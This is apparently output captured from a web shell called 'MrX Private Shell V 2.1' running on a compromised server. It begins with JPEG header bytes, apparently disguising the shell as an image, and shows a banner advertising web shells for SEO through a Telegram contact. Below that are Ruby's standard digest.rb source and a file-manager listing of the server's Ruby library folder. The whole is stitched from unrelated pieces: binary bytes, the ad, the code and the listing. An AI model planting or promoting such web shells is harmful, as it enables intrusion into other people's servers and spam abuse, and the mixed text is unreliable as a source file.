����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: false
if defined?(Digest) &&
/\A(?:2\.|3\.0\.[0-2]\z)/.match?(RUBY_VERSION) &&
caller_locations.any? { |l|
%r{/(rubygems/gem_runner|bundler/cli)\.rb}.match?(l.path)
}
# Before Ruby 3.0.3/3.1.0, the gem and bundle commands used to load
# the digest library before loading additionally installed gems, so
# you will get constant redefinition warnings and unexpected
# implementation overwriting if we proceed here. Avoid that.
return
end
require 'digest/version'
require 'digest/loader'
module Digest
# A mutex for Digest().
REQUIRE_MUTEX = Thread::Mutex.new
def self.const_missing(name) # :nodoc:
case name
when :SHA256, :SHA384, :SHA512
lib = 'digest/sha2'
else
lib = File.join('digest', name.to_s.downcase)
end
begin
require lib
rescue LoadError
raise LoadError, "library not found for class Digest::#{name} -- #{lib}", caller(1)
end
unless Digest.const_defined?(name)
raise NameError, "uninitialized constant Digest::#{name}", caller(1)
end
Digest.const_get(name)
end
class ::Digest::Class
# Creates a digest object and reads a given file, _name_.
# Optional arguments are passed to the constructor of the digest
# class.
#
# p Digest::SHA256.file("X11R6.8.2-src.tar.bz2").hexdigest
# # => "f02e3c85572dc9ad7cb77c2a638e3be24cc1b5bea9fdbb0b0299c9668475c534"
def self.file(name, *args)
new(*args).file(name)
end
# Returns the base64 encoded hash value of a given _string_. The
# return value is properly padded with '=' and contains no line
# feeds.
def self.base64digest(str, *args)
[digest(str, *args)].pack('m0')
end
end
module Instance
# Updates the digest with the contents of a given file _name_ and
# returns self.
def file(name)
File.open(name, "rb") {|f|
buf = ""
while f.read(16384, buf)
update buf
end
}
self
end
# If none is given, returns the resulting hash value of the digest
# in a base64 encoded form, keeping the digest's state.
#
# If a +string+ is given, returns the hash value for the given
# +string+ in a base64 encoded form, resetting the digest to the
# initial state before and after the process.
#
# In either case, the return value is properly padded with '=' and
# contains no line feeds.
def base64digest(str = nil)
[str ? digest(str) : digest].pack('m0')
end
# Returns the resulting hash value and resets the digest to the
# initial state.
def base64digest!
[digest!].pack('m0')
end
end
end
# call-seq:
# Digest(name) -> digest_subclass
#
# Returns a Digest subclass by +name+ in a thread-safe manner even
# when on-demand loading is involved.
#
# require 'digest'
#
# Digest("MD5")
# # => Digest::MD5
#
# Digest(:SHA256)
# # => Digest::SHA256
#
# Digest(:Foo)
# # => LoadError: library not found for class Digest::Foo -- digest/foo
def Digest(name)
const = name.to_sym
Digest::REQUIRE_MUTEX.synchronize {
# Ignore autoload's because it is void when we have #const_missing
Digest.const_missing(const)
}
rescue LoadError
# Constants do not necessarily rely on digest/*.
if Digest.const_defined?(const)
Digest.const_get(const)
else
raise
end
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bigdecimal | Folder | 0755 |
|
|
| cgi | Folder | 0755 |
|
|
| did_you_mean | Folder | 0755 |
|
|
| digest | Folder | 0755 |
|
|
| erb | Folder | 0755 |
|
|
| error_highlight | Folder | 0755 |
|
|
| forwardable | Folder | 0755 |
|
|
| io | Folder | 0755 |
|
|
| json | Folder | 0755 |
|
|
| net | Folder | 0755 |
|
|
| objspace | Folder | 0755 |
|
|
| open3 | Folder | 0755 |
|
|
| openssl | Folder | 0755 |
|
|
| optparse | Folder | 0755 |
|
|
| prism | Folder | 0755 |
|
|
| psych | Folder | 0755 |
|
|
| random | Folder | 0755 |
|
|
| ripper | Folder | 0755 |
|
|
| set | Folder | 0755 |
|
|
| strscan | Folder | 0755 |
|
|
| syntax_suggest | Folder | 0755 |
|
|
| unicode_normalize | Folder | 0755 |
|
|
| uri | Folder | 0755 |
|
|
| vendor_ruby | Folder | 0755 |
|
|
| yaml | Folder | 0755 |
|
|
| English.rb | File | 5.96 KB | 0644 |
|
| bundled_gems.rb | File | 8.41 KB | 0644 |
|
| cgi.rb | File | 311 B | 0644 |
|
| coverage.rb | File | 517 B | 0644 |
|
| date.rb | File | 1.17 KB | 0644 |
|
| delegate.rb | File | 11.96 KB | 0644 |
|
| did_you_mean.rb | File | 4.51 KB | 0644 |
|
| digest.rb | File | 3.3 KB | 0644 |
|
| erb.rb | File | 32.57 KB | 0644 |
|
| error_highlight.rb | File | 84 B | 0644 |
|
| expect.rb | File | 2.19 KB | 0644 |
|
| fileutils.rb | File | 79.18 KB | 0644 |
|
| find.rb | File | 2.54 KB | 0644 |
|
| forwardable.rb | File | 8.81 KB | 0644 |
|
| ipaddr.rb | File | 22.86 KB | 0644 |
|
| json.rb | File | 21.45 KB | 0644 |
|
| mkmf.rb | File | 93.16 KB | 0644 |
|
| monitor.rb | File | 6.97 KB | 0644 |
|
| objspace.rb | File | 4.14 KB | 0644 |
|
| open-uri.rb | File | 28.58 KB | 0644 |
|
| open3.rb | File | 47.51 KB | 0644 |
|
| openssl.rb | File | 1.24 KB | 0644 |
|
| optionparser.rb | File | 59 B | 0644 |
|
| optparse.rb | File | 65.44 KB | 0644 |
|
| pathname.rb | File | 2 KB | 0644 |
|
| pp.rb | File | 19.21 KB | 0644 |
|
| prettyprint.rb | File | 15.95 KB | 0644 |
|
| prism.rb | File | 3.74 KB | 0644 |
|
| psych.rb | File | 26.05 KB | 0644 |
|
| resolv.rb | File | 88.39 KB | 0644 |
|
| ripper.rb | File | 2.44 KB | 0644 |
|
| securerandom.rb | File | 2.28 KB | 0644 |
|
| shellwords.rb | File | 7.53 KB | 0644 |
|
| singleton.rb | File | 5.59 KB | 0644 |
|
| socket.rb | File | 61.26 KB | 0644 |
|
| syntax_suggest.rb | File | 74 B | 0644 |
|
| tempfile.rb | File | 20.7 KB | 0644 |
|
| time.rb | File | 24.01 KB | 0644 |
|
| timeout.rb | File | 10.48 KB | 0644 |
|
| tmpdir.rb | File | 5.62 KB | 0644 |
|
| tsort.rb | File | 14.36 KB | 0644 |
|
| un.rb | File | 11.17 KB | 0644 |
|
| uri.rb | File | 3.09 KB | 0644 |
|
| weakref.rb | File | 1.39 KB | 0644 |
|
| yaml.rb | File | 2.16 KB | 0644 |
|